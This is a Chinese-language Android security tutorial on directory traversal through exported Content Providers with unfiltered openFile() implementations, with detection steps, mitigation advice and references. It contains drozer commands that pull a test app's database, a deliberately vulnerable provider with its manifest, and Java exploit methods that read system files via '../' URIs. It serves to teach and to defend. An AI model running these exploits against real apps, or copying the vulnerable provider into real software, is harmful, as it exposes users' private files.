该漏洞由于Content Provider组件暴露,没有对Content Provider组件访问权限进行限制且对Uri路径没有进行过滤,攻击者通过Content Provider实现的OpenFile接口进行攻击,如通过”../”的方式访问任意的目录文件,造成隐私泄露。
提醒
所有Android系统。
检测类型:动态分析
通过分析AndroidManifest.xml检测出暴露的content provider(使用7.2的检测方法),然后检测是否实现了openFile函数,最后检测openFile中有没有对uri进行过滤检测。
检测步骤:
0x01 找出导出的provider组件
0x02 找出存在目录遍历漏洞的uri
run scanner.provider.traversal -a
com.mwr.example.sieve |
ü 将不必要导出的Content Provider设置为不导出
ü 由于Android组件Content Provider无法在Android 2.2(即API Level 8)系统上设为不导出,因此如果应用的Content Provider不必要导出,阿里聚安全建议声明最低SDK版本为8以上版本;
由于API level 在17以下的所有应用的“android:exported”属性默认值都为true.,因此如果应用的Content
Provider不必要导出,阿里聚安全建议显示设置注册的Content Provider组件的“android:exported”属性为false;
ü 去除没有必要的openFile()接口
ü 如果应用的Content Provider组件没有必要实现openFile()接口,阿里聚安全建议移除该Content Provider的不必要的openFile()接口。
ü 过滤限制跨域访问,对访问的目标文件的路径进行有效判断
ü 使用Uri.decode()先对Content Query Uri进行解码后,再过滤如可通过“../”实现任意可读文件的访问的Uri字符串;
ü 设置权限来进行内部应用通过Content Provider的数据共享
ü 使用签名验证来控制Content Provider共享数据的访问权限,如设置protectionLevel=”signature”或”signatureOrSystem”;
ü 公开的content provider确保不存储敏感数据
ü 提供asset文件时注意权限保护
0x01 找出导出的provider组件
0x02 找出存在目录遍历漏洞的uri
run scanner.provider.traversal -a
com.mwr.example.sieve |
0x03 目录遍历攻击
run
app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db
. |
获取到sieve的database.db数据库,如下:
run app.provider.download
content://com.mwr.example.sieve.FileBackupProvider/etc/hosts . |
hosts文件如下:
或者可以通过第三方app进行攻击,漏洞利用代码如下:
public void attack() { try { String fileUri = "content://com.mwr.example.sieve.FileBackupProvider/etc/hosts"; ContentResolver cr = this.getContentResolver(); FileInputStream in = (FileInputStream)
cr.openInputStream(Uri.parse(fileUri)); byte[] buff = new byte[in.available()]; in.read(buff); Log.v("wgc", new String(buff)); } catch (Exception e) { e.printStackTrace(); } } |
0x01:漏洞代码
(1)StudentsProvider:
public class StudentsProvider extends ContentProvider
{ @Override public ParcelFileDescriptor
openFile(Uri uri, String mode) throws FileNotFoundException { File file = new
File(getContext().getFilesDir(), uri.getPath()); if (file.exists())
{ return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY); } throw new
FileNotFoundException(uri.getPath()); } @Override public boolean onCreate() { // TODO Auto-generated
method stub return false; } @Override public Cursor query(Uri
uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { // TODO Auto-generated
method stub return null; } @Override public String
getType(Uri uri) { // TODO Auto-generated
method stub return null; } @Override public Uri insert(Uri
uri, ContentValues values) { // TODO Auto-generated
method stub return null; } @Override public int delete(Uri uri,
String selection, String[] selectionArgs) { // TODO Auto-generated
method stub return 0; } @Override public int update(Uri uri,
ContentValues values, String selection, String[] selectionArgs) { // TODO Auto-generated
method stub return 0; } } |
(2)AndroidManifest.xml:
<provider
android:name="com.bug.contentprovider.openfile.StudentsProvider"
android:authorities="com.bug.provider.College"
android:exported="true"
android:permission="com.bug.contentprovider.openfile.android.permission.PERMISSION_REWRITE"
> </provider> |
0x02:漏洞利用代码:
public class MainActivity extends Activity { @Override protected void onCreate(Bundle
savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); attack1(); attack2(); } public void attack1() { try { String fileUri = "content://com.bug.provider.College/" + "../../../../system/etc/hosts"; ContentResolver cr = this.getContentResolver(); FileInputStream in = (FileInputStream)
cr.openInputStream(Uri .parse(fileUri)); byte[] buff = new byte[in.available()]; in.read(buff); Toast.makeText(getBaseContext(), new String(buff), Toast.LENGTH_LONG).show(); } catch (Exception e) { e.printStackTrace(); } } public void attack2() { try { String fileUri = "content://com.bug.provider.College/" + "../../../../system/build.prop"; ContentResolver cr = this.getContentResolver(); FileInputStream in = (FileInputStream)
cr.openInputStream(Uri .parse(fileUri)); byte[] buff = new byte[in.available()]; in.read(buff); Toast.makeText(getBaseContext(), new String(buff), Toast.LENGTH_LONG).show(); } catch (Exception e) { e.printStackTrace(); } } } |
下面是利用上面攻击代码后获取到的数据:
www.wooyun.org/bugs/wooyun-2013-047098
www.wooyun.org/bugs/wooyun-2013-044407
www.wooyun.org/bugs/wooyun-2013-044411
https://jaq.alibaba.com/blog.htm?id=61
http://drops.wooyun.org/tips/4314
http://wolfeye.baidu.com/blog/content-provider-file-traversal
http://developer.android.com/intl/zh-cn/reference/android/content/ContentProvider.html
https://manifestsecurity.com/android-application-security-part-15/